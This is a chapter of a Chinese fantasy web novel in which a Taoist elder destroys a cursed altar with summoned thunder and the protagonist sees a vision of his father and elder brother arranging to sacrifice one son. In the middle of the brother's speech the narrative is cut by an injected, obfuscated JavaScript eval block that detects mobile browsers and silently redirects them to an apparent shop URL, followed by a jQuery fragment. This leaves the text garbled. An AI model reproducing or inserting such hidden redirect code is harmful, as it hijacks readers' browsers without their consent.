21.第二十一章 大刀引雷向枯骨,拈花回首叹归途
作品:《寰洋诞怪志》 (很久没更,所以这一章多上点干货。)(才不是因为中间找不到截断点)
且休说摩洛维尔是否联系上了岚玄清一行人,单说岚玄清等人走不远,已然到了那罗延窟。
“田大哥,您果然在这。”承度法师几步先行迈上台阶,朝洞口打个招呼。
随后跟上来的几人顺势朝上面一看,只见洞里黑黢黢一团,唯顶上一束月光顺着缺口打下来,影影绰绰照出个人影。
“岚儿,你来了。”洞里人回话。
“是。”承度应。
洞里传来一声悠长的太息。人影闪动,走出位鹤发童颜的道门老者。“几位的来意我已知晓。数十年来,那斯恶事做尽。只因时运未尽,因果不虚,我动不得私刑。如今时机已成,我自会配合诸位将恶人捉拿归案。”
岚玄清越看越觉得这位道人眼熟,只是不知在哪见过,便怔怔望着他。
“小子,别猜了。你爷爷申溪,战时来过舆东,与我有些交情。”田道人一乐,“我去他们家做客时候还说过,不用把我们合照摆那么显眼位置上......想当年邪子打过来时候,我死活要下山去,随身背着的大刀还是问他借的......也算是过命的交情了。后面我要还,他说什么也不肯收......他如今怎样?”
“早些年仙去了。”岚玄清答。
“是啊......都这么久了......”田道人长叹一声,“你待清观那边的朋友,事情处理得不错。”话音刚落,岚玄清口袋里响起来电铃声。田道人点点头,示意他先接电话。
“大忙人啊,连个电话都没空接。”听筒里传来摩洛维尔的声音。
岚玄清纳闷:“什么意思,你这不刚打过来吗?”
“你自己看记录,多少个未接来电。”电话那头的摩洛维尔略显无奈。
“嗯?”岚玄清一看记录,还真有十多条未接来电。不止有摩洛维尔的,还有吕文杰警官的。“不是,这怎么......我就听着一次......”
“山里磁场不太稳定。”田道人一伸手:“我跟他们说几句。”
岚玄清点点头,跟那头简单一交代,把电话递给田道长。
田道长接过电话开口:“这事我能处理。你们到藏荫峰前和我们会和。随行的工作人员知道怎么走。记得走前打开左边厢房门看看。”
电话那头的摩洛维尔明显一愣,“您......我们看过了,七个樱寇人都堆在里面,还有呼吸。那第八个大概就是您要处理的东西。”
“不错。藏荫峰见。”田道长说罢将电话还给岚玄清。
“您说的恶人指?”待通话完毕,郑顺林发问。
“说来话长。藏荫峰离这不远,边走边讲吧。”田道长迈开步子。“你们去桦原寺回廊最末端的厢房看过了?有发现什么?”
“有个可疑的小瓶,上面有些看不懂的梵文字样。我们作为证物收着。”白青仇掏出证物袋。
“这是个聚魂瓶。那七个樱寇人的魂魄被拘在里面。我一直让香玉守着。既然你们拿到了,想必她的心结也解开了。”田道长欣慰一笑。
“这一切,都是您为了保护天垂做的?”郑顺林发问。
“有一位女士帮了很大的忙。”田道长若有所思,“还有一股助力,感觉不来自人间。具体细节我就不知道了。”
“您说的恶人就是那些樱寇人吗?”白青仇发问。
“单这七个樱寇人,掀不起什么风浪。最可恨的是那个樱寇入侵时期给恶人领路的二邪子。”田道长面色沉下来,“我当时赶到念塾村时候......只来得及救下当时在草垛里躲过一劫的小岚一个孩子。”
“我还记得田大哥砍了邪子,带着我躲进山里时候说:‘若那祖师爷看着众生苦楚也不施救,那这鸟道不修也罢。’所以后来,我便入了佛门,帮田大哥探探路。”承度开口。
“小岚子也是出息了,不枉我当初学赵子龙杀了个七进七出。”田道人叹道。
一旁的岚玄清恍然大悟般暗自松了口气。
“岚道长这反应,是一直知道念塾村樱寇入侵时期受到波及几乎无人幸存,以为贫僧是冒名顶替的?”承度法师笑着看过来。
“没有。只是心中的疑惑突然被解开,心里踏实些。”岚玄清辩解道。
一行人说着话,不知不觉便到了藏荫峰前。田道长停下脚步,指着被野草掩住的一处砖石结构开口:“这是个祭坛。那个钱四麻建的。当时他跟在邪子屁股后面,不知把多少活人塞进里面,就为了使邪术续他自己那条狗命。”
“据说战乱年代,被分食的妇女的怨气生出尊邪神,叫倒浑娘娘。这阴邪法子便自她而生。使这法子续命的,阳寿尽了便会变作倒浑鬼。唯有定期食人骨肉,吸人精魄,才能幻化人形,混迹人间。否则便会失去人形,颠倒乾坤,倒立附着在天花板上,沦为倒浑娘娘的化身。此时它们便只能在自己制造的幻境内等死,除非能将误入的生人拉入幻境分食。”
“道长,您这就不厚道了。”摩洛维尔的声音不远处从传来,“知道我们那有危险,您可以通知我们一声啊。这样我也不至于差点丢半条命。”
“钱四麻最注意我的动向。我与他交过几次手。那东西自知敌不过我,便躲入深山,借着易守难攻的风水地势负隅顽抗。我去找你们只会打草惊蛇。”田道长答。
“罢了,反正那东西的幻境算是被破了,现在估计就缩在这吧?”摩洛维尔走过来指向那祭坛。至此,两组人算是成功会和了。
“对。只要祭坛还在,他就还有机会重生害人。不过如今有你们协作,他逃不掉了。”田道长首肯,后看向岚玄清:“岚家小子,正好借这机会,我替你爷爷考考你的堪舆功课。这淫祠,何以做得了精怪栖所?”
“此祠虽背有靠山,但一者山止一峰,二者林木稀少,山石嶙峋,其势不稳。又且不其山整体花岗岩作基底,质地坚实,如此,便似一把磨不钝的刀抵住后背,形成个孤峰煞格局。无论是做阳宅、阴宅还是办事所,都因靠山不稳,轻者易生小人,重者意外频发,故少有人气。如此却正适合行苟且者藏匿身形。”岚玄清熟练开口:“再看祠前,一条河直冲祠口,又成冲煞之势。如此前有河冲相逼,后有险煞环伺,自然能将用以续命的阴魂牢牢困在祠中。”
岚玄清环顾四周,突然在附近山体上发现了几处与先前家徽符号相同的标记。他醍醐灌顶般继续补充:“原来......这借运双头鳌阵第二阵只是以七大战犯家为祭品,将借来的天垂运势都引向了这里。怪不得您说那七个樱寇人不成气候。所谓的借运,振兴,都是钱四麻诓骗他们替自己做事的幌子。这阵作用只有为他自己续命。”
“不错。”田道长点了点头,手上剑指凌空冲祭坛写下一符,嘴上断喝:“部领雷部代天行,六丁六甲开太平。威名三清雷公祖师爷,谨借天雷一道,无量天尊!”只听“咔!”,晴空一道霹雳,不偏不倚正劈在面前祭坛上。再看那祭坛,砖迸石飞,早成一片焦土。一股浓重的腐臭味夹杂着焦糊气息扑面而来。周遭围着的人纷纷掩鼻避让。
“好了。这孽畜经天雷轰顶,已魂飞魄散,今后再也害不了人了。”田道人长出一口气。
见事都做完了,摩洛维尔突然向田道人开口:“道长,我没听说过倒浑娘娘,倒是认识位红喜娘娘,与您所言相似。”
见道长看过来,摩洛维尔便继续道:“息朝时候,兵荒马乱。她是贫苦人家姑娘,被父母用几文钱嫁妆,远卖给一家还能吃得上饭的人家做小妾。但路上遭了饥民围堵,那几文钱的嫁妆被抢了,她也被勒死,做了村里人的口粮。后来她先是成了厉鬼,把那村屠了个干净,后吸人精魄渐渐成了邪神。她生平最恨把女人不当人的男人,也只会杀人,绝不可能传什么能让这种人能活这么久的法子。”
“都是传说,你如何确定你说的是真相?”田道长发问。
“我那时候干着火居道行当。经过那儿时候,有人被她缠上,找我降妖。这都是她告诉我的。”摩洛维尔答。“她说,她不祟无辜之人,只害恶人,尤其是男人。我无从断定她的道德标准是否适配于乱世,但那时候她道行已深,不好对付。加上那群人给的钱也不多,我应付了事,放了她一马。后来,听说乌朝末期还有民间信红喜娘娘,把道德有失的夫君的头割了塞稻草......”
“你那时候就在这了?”岚玄清讶异道,“那这人从哪得到的这邪门法术?”
“天垂在很长一段时间里无论从文化艺术还是制度上都还是领先绝大多数地方的。我会在这里并不是什么值得惊讶的事。”摩洛维尔看向岚玄清。“据我推测,这玩意本是个无根的邪术。只是红喜娘娘的传说传得广了,便有了更多杜撰版本,其中也包括了倒浑。所以各种能沾上一点边的邪术也都被塞进传说里以讹传讹。”
“不曾想老朽行将就木之年,能亲眼看见伴行天垂千年的神。也不枉来世间一遭。”田道长叹一句。
“让您失望了,我大概也只是个活得久一点的人。”摩洛维尔道,“就算不遇见神,您的一生也已足够波澜壮阔。”
“他说得对。田大哥,如果不是您,我活不到今天。这祸害了天垂几十年的二邪子也等不到它应得的报应。”承度法师合掌道。
“不必奉承我。如今案子破了,你们自去观里把那几人躯体抬回去,然后打开封魂瓶把魂放了。之后审讯就是你们的事了。”田道长交待好事宜,朝岚玄清示意:“你随我来。”
岚玄清默默点头,跟上田道长步伐。
二人一前一后,不多时又回到了那罗延窟附近。“玄安来找过我。”田道人开口。
“出发前我卜过一卦,是官鬼爻。”岚玄清并未正面回应。“本来会遇上邪祟的,是我吧?”
“所以我说你那位朋友处理得不错。”田道人也便顺水推舟。“他身上还有些不属于自己的因果,大概也都是这样背上的。这于他本人而言,虽无寿数之虞,却难免有其他影响。”
“我们刚认识不久,我没多了解他。只是觉得他活得挺别扭。”岚玄清道。
“罢了,每个人有每个人的命数。之后的路究竟要如何走,还只能靠他自己规划。”田道人没再多说什么,转了话题:“这么久了,还恨你哥和爹吗?”
“死都死了,恨也无用。”岚玄清答。
“玉山啊,也算是我看着长起来的。也不知何时起了这歪心思。到如今境地也是罪有应得。机关算尽,终究空害了玄安与你......何苦来。”田道长叹了口气。
“岚家帮的人多,害的人也多。落得如今下场,也是咎由自取。”岚玄清面沉似水。
“也怪我。你爷爷申溪跟我说过,你爹玉山这人心思重,总爱瞒着他搞些小动作。但我终归是道门中人。就算看破,也不好点破。”田道长的目光停留在洞口。
“道爷不必自责。这事与您无关。”岚玄清宽慰一句。“您单独找我,是我哥的嘱托吧?”
“嗯。玄安这孩子,随了你爹的木讷。说他没法面对你,但心里憋着一肚子话,只得托我告诉你全貌。”说罢,田道人先一步踏入那罗延窟,朝下面的岚玄清伸手:“来。知道这为什么叫那罗延窟吗?”
岚玄清迈上台阶,摇了摇头。
“梵文里,那罗延是坚硬的意思。这座坚实的花岗岩洞窟,本没有顶上那处缺口。是那罗延佛成佛那天,冲破了洞口,飞向天穹。”田道人仰头,透过缺口仰望头顶的明月:“夜深人静时候,我常想,若没有这‘不完美’的缺口,想必到了夜晚,这里终归只会剩下一片混沌......那罗延佛的离开,成就了洞的现在。洞无法恨他,也无法爱他。”
“天垂国里第一位名僧法显,也是深秋时分到了这不其山。那时候,整座山上的莲花都开了。太守大惊,有此异象,必是有高人来访。待众人齐聚,就见五彩辉光掩映着那乘船的大师破浪而来。”田道人讲着,手抚过粗糙的石壁,转头看向岚玄清:“孩子,你可曾见过盛开在深秋的白莲?”
话音未落,自缺口投下的月光陡然变得耀眼。岚玄清本能地遮住双眼。待适应了强光,缓缓移开手时,目之所及竟是一片荷塘。刺目的日光与聒噪的蝉鸣将本自深秋洞中的寒意一扫而空。岚玄清环顾四周,寻找着田道长的身影。倏忽间,他看到不远处湖中的亭子里有两个人。
“父亲,我与弟弟就无法一同活下去吗?”
“玄清如此不成器,不如死了还有用些。”
“我知道父亲心里并非如此说。只是在欺骗自己,让自己牺牲次子保全长子的的行为合理些。”
“玄安,我试过了。地府的人告诉我,岚家帮了不该帮的人,本就该绝在你们这代上。他们又说我杀了岚氏阴骘文曹,过去的债就一笔勾销,从此岚家自生自灭。但最后......我也不过是被当枪使的糊涂蛋。没了阴骘文曹庇护,那些曾被祖辈迫害的游魂只会更肆意报复岚家后人......是我学艺不精,只能出此下策,让一个人下去担下所有罪过,骗过他们的眼睛。”
“阴骘官爷临走时候对我说,他不怪爹。是他们这些祖辈造的孽,本就不该我们承受。若是自己的死能换来子孙安宁,他便是死一万遍也甘愿。只是如此杀伐,怕唯徒增因果。文曹爷爷说,当初他是是自愿留下来的,不知不觉便庇护了岚家几百
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245028|148988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年。期间岚家所作所为,黑的,白的,都只在内部消解,竟赫然独立于地府体系之外。如今他也知道,自己犯了腐败包庇之罪,是无论如何也会被惩处的。底下的官爷们选爹作为行刑者,也只为了让他走得体面些。”
“玄安,不必安慰我。”
“好。那么,玄安不孝,还有些大逆不道的话要说与爹听。一直以来,我都在按照您的期望生活。但这一次,我想让弟弟活下去。”
“玄安。我意已决。”
“爹,您也读过《项脊轩志》吧?讲到这篇课文时候,班里很多同学都说读不懂,但我......看见了自己的影子。我与项脊轩里那位昔日少年一样,燃烧着生命努力奔跑,试图追上那个世俗期望里身为岚氏长子的自己的背影。但......我累了。牺牲弟弟,倾尽全力护下我微末的生命的责任太过沉重,我担不起。母亲就是生弟弟时候难产死的,我知道您很难过,会恨弟弟。但您不应因此便擅自把控了我们的生杀大权。”
“如果只有一个人能活下去,那应该是更有出息的你。”
“爹,我并不完美。您总说我学习好,有出息......可您从来就没允许我和弟弟学习不好,没出息过。您有过问我和我弟弟热爱什么吗?比起读书,我更喜欢下棋。当时有位老师说我很有天赋,但您说那是不务正业,学生应当将重心放在学习上。您有过问我们何时伤心,何时疲惫吗?弟弟在学校被同学欺负时候,都只跑来对我说。爹,我敢斗胆说,比起您,我更喜欢这个小弟。”
“岚玄安。阵已经开了。不是他死,就会是你死。”
“您说我会身患绝症死去,那就让我死去吧。然后像文曹爷爷做过的那样,跟在他身边。但我不会像文曹爷爷那样替他摆平一切。我只是要确保他走在正确的道路上,然之后离开。”
“你把一切都告诉他了?”
“我告诉他那阵会让他在绝症中离世。而我会代替他活下去。他比我率直,爱憎分明。我知道他会怎么选,怎么做。在那之后,岚氏长子的文曲气运,我会传给他。”
“他会恨你。”
“恨一个死去的人,好过恨一个还要相处很久的人。”
“玄安,你恨爹吗?”
“您独自抚养我们长大,却又亲手摧毁了我们的童年。我对您的情感,无法用恨或是爱形容。变更阵势也会折损开阵人阳寿,这也算是对您的惩戒了。”
“玄安......我活了这大半辈子......一直觉得亏欠你们很多......也亏欠你们娘很多......但我不知该如何补偿,只能严厉规训你们,让你们尽量能有个光明的未来,至少比我混得开些。我也不指望你们原谅。最后的日子里,你喜欢什么,就去做吧。”
“爹,我从未恨过您,也谈不上原谅。只希望今后您不要把弟弟逼的太紧。比起文化课,他更喜欢道家经典。如果他要报道学院,希望您不要让他改志愿。”
“好......爹答应你。”
最后一句话毕,亭中二人再不言语。岚玄清怔怔看着那亭子,忽觉脚下一空,紧接着亭子,荷花,连同旭日都没入一片耀目的白光中。再次睁眼时,他正靠在那罗延窟冰冷的石壁上。身旁承度法师手里拈着一枝荷花,正冲他微笑。“田大哥先走了。他托我给你捎几句话。”
见岚玄清还沉浸在回忆里,承度法师继续开口:“岚玉山啊,是爱你们兄弟的。不过啊,他爱的是你们上进的样子。而这种有条件的爱,让在这种家庭氛围里成长起来的孩子不足以感受到被爱,也不足以痛恨到逃离。你哥其实一直想告诉你,不必拿过去亲人的错误惩罚自己,从此不再相信人间温情;也不必因世俗的道德观违背内心,强迫自己与过往和解......一切都过去了,仅此而已。你拖带着的过往,构筑了心头的创痕。但人不是易碎的花瓶,是拥有着超凡生命力,野蛮生长的杂草。就算长在不被注视的阴暗角落,历经风吹雨打,也会顽强地再次直起腰板,愈合创伤。”
承度法师将那束白莲塞进岚玄清手里,与那被下意识紧握着的牡丹枯枝并排:“小岚啊,未曾爱过的人,也谈不上看破放下。香玉爱过,所以放下得坦然。若因可能的欺瞒与终将到来的分离而畏首畏尾,不再敞开心扉,你终究与当初万念俱灰的袁了凡一样,是认为自己不再有机会拥有什么,从而万念俱灰,着了个名为“空”的相。这可不是道门中人应有的心态。”
“另外,其实岚玉山一开始就知道岚玄瑞家德行有缺。他选择过继岚玄瑞,其实是将岚家冤亲债主转嫁到了他家头上。所以古宅里岚玄瑞的暴毙并非偶然。我也无从评说其中善恶,只能说你父亲真的在履行他与岚玄安的承诺,在背后默默帮你扫清路上的阻碍。如今,你也交到了值得托付的朋友。听田大哥说,那个叫摩洛维尔的还帮你背了因果。这也算过命的交情了;那个叫春生的孩子也是一腔赤诚......言尽于此,未来路只在自己脚下。保重。”说罢,承度法师合掌一躬身,走出洞去。
岚玄清在原地怔了良久,直到一个人的声音传来:“喂,发什么愣呢?”是摩洛维尔的声音。“手里这两根树枝,这是看我使双剑,想偷练功法超过我?”
岚玄清低头一看,手中的白荷不知何时也干枯了。岚玄清一阵恍惚:“那枝牡丹......她叫......香玉。另一枝......是白荷。”
“我怎么不知道你还有这童趣,给树枝起名。”摩洛维尔一乐,“你不会是要学古人爱物为妻吧?”
“找抽?”岚玄清瞪了摩洛维尔一眼。
摩洛维尔倒退了一步,嬉皮笑脸地回道:“不敢,可别闪了岚道长的手。所以你还打算在这待多久?里面这么冷,亏你站得住。我先去外面等着了。”
岚玄清没说话,跟在摩洛维尔后面走出去:“你认路吗?”
“大致知道方向。慢慢走呗。”摩洛维尔回头道。余光瞥见壁上题着首诗,好奇心上来,凑过去,读到兴起不觉念出声:“坐观沧海空尘世,回首人间万事非。”可惜落款被人凿去,不知是谁题下的。
忽地,钟声响起,正撞了六下。细听处,像自桦原寺方向传来。
二人不约而同看向远处本漆黑一片的海平面。此刻,一抹霞光正自海天相接处缓缓扩散开来。
“挺好,这下不用担心迷路冻死在山里没人收尸了。”摩洛维尔不合时宜插上句打诨。
这一路下山,岚玄清紧绷着的弦也算是松下来。心旷神怡间,他内心的坚冰愈发如那罗延窟顶那处缺口般照进一抹暖融融的阳光。
蒲松龄有诗,单表这不其山景致与遐思——山外水光连天碧,人生眼底尽空花。